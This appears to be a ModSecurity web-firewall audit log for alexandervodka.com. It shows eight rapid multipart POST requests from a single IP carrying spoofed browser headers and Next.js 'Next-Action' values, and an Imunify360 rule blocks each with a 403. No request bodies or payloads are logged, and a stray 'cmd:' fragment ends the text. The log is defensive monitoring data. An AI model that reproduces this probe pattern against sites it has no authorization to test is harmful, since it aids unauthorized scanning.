Stopwatch2: 1789314231778282 91149; combined=6621, p1=384, p2=5989, p3=0, p4=0, p5=248, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ad82c047-Z--

--95c9837f-A--
[13/Sep/2026:18:43:52.207986 +0300] aqbEuPut1GUrjaX0wO46PwAAAMM 138.197.17.142 34572 127.0.0.1 7081
--95c9837f-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 80362
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 2e968719ee40017ee71566253902e9c3f3966aa8
content-type: multipart/form-data; boundary=geckopartbc6ace558635f850ae0993b215f32391

--95c9837f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--95c9837f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314232138483 69579 (- - -)
Stopwatch2: 1789314232138483 69579; combined=8321, p1=455, p2=7607, p3=0, p4=0, p5=259, sr=175, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--95c9837f-Z--

--aa59c96a-A--
[13/Sep/2026:18:43:52.527579 +0300] aqbEuPut1GUrjaX0wO46QAAAANc 138.197.17.142 34582 127.0.0.1 7081
--aa59c96a-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 31164
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: fcdc1a72ebc35a0a37742aed471540db39693d81
content-type: multipart/form-data; boundary=WebKitFormBoundary3b6b79aed4f9803439069a8a30f1ae94

--aa59c96a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--aa59c96a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314232462130 65598 (- - -)
Stopwatch2: 1789314232462130 65598; combined=5448, p1=324, p2=4852, p3=0, p4=0, p5=271, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa59c96a-Z--

--362e0b78-A--
[13/Sep/2026:18:43:53.172543 +0300] aqbEufut1GUrjaX0wO46QQAAANU 138.197.17.142 34598 127.0.0.1 7081
--362e0b78-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14432
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/x-component
Accept-Encoding: identity
Next-Action: eb70f9e043dd2177db9ed5eaf42041ce28ada1a1
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com/
Content-Type: multipart/form-data; boundary=boundary60a3ce363da146c6f3dc07c59307563f, text/plain

--362e0b78-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--362e0b78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314233106046 66560 (- - -)
Stopwatch2: 1789314233106046 66560; combined=4537, p1=247, p2=3931, p3=0, p4=0, p5=358, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--362e0b78-Z--

--a8ea6c22-A--
[13/Sep/2026:18:43:53.788270 +0300] aqbEufut1GUrjaX0wO46QgAAAM4 138.197.17.142 34602 127.0.0.1 7081
--a8ea6c22-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14261
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/x-component
Accept-Encoding: identity
Next-Action: b179bc76d624136250d5530bd87d35383e651c34
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com/
Content-Type: multipart/form-data; boundary=geckopartd8b0cb700ae3d360951187f97686e730

--a8ea6c22-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a8ea6c22-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314233691950 96381 (- - -)
Stopwatch2: 1789314233691950 96381; combined=4209, p1=259, p2=3691, p3=0, p4=0, p5=258, sr=80, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a8ea6c22-Z--

--083fc41f-A--
[13/Sep/2026:18:43:54.128956 +0300] aqbEuvut1GUrjaX0wO46QwAAAMs 138.197.17.142 34614 127.0.0.1 7081
--083fc41f-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14430
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: e45d139d0328eab0f095dee678b7cdfc9bc6eef0
content-type: multipart/form-data; boundary=geckopart4cdcafb7d1198ac1cac8061fc1e760b4
content-encoding:

--083fc41f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--083fc41f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234045860 83214 (- - -)
Stopwatch2: 1789314234045860 83214; combined=8428, p1=363, p2=7611, p3=0, p4=0, p5=453, sr=131, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--083fc41f-Z--

--cef6ca57-A--
[13/Sep/2026:18:43:54.357749 +0300] aqbEuvut1GUrjaX0wO46RAAAAMw 138.197.17.142 34630 127.0.0.1 7081
--cef6ca57-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 3182
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
content-type: multipart/form-data; boundary=geckopart87541b5dae48552ef13c1535db8e7d5c

--cef6ca57-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cef6ca57-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234290093 67739 (- - -)
Stopwatch2: 1789314234290093 67739; combined=5460, p1=289, p2=4883, p3=0, p4=0, p5=287, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cef6ca57-Z--

--5c949e02-A--
[13/Sep/2026:18:43:54.561242 +0300] aqbEuvut1GUrjaX0wO46RQAAANE 138.197.17.142 34644 127.0.0.1 7081
--5c949e02-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 3419
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
content-type: multipart/form-data; boundary=geckoparteee6399a8a93f73cba23d577e99ba60d

--5c949e02-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5c949e02-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234496055 65263 (- - -)
Stopwatch2: 1789314234496055 65263; combined=4818, p1=326, p2=4204, p3=0, p4=0, p5=287, sr=170, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5c949e02-Z--

--47c29540-A--
[13/Sep/2026:18:43:54.768091 +0300] aqbEukhjHs68UzErry1LFAAAAI4 138.197.17.142 34650 127.0.0.1 7081
--47c29540-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 2886
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 0cc0966d12ecb32df693abce42e7e82bf9681b70
content-type: multipart/form-data; boundary=boundaryec637ff4847ea8b24acfa84ce2165b12

--47c29540-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--47c29540-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234691082 77093 (- - -)
Stopwatch2: 1789314234691082 77093; combined=7359, p1=252, p2=6789, p3=0, p4=0, p5=318, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--47c29540-Z--

cmd: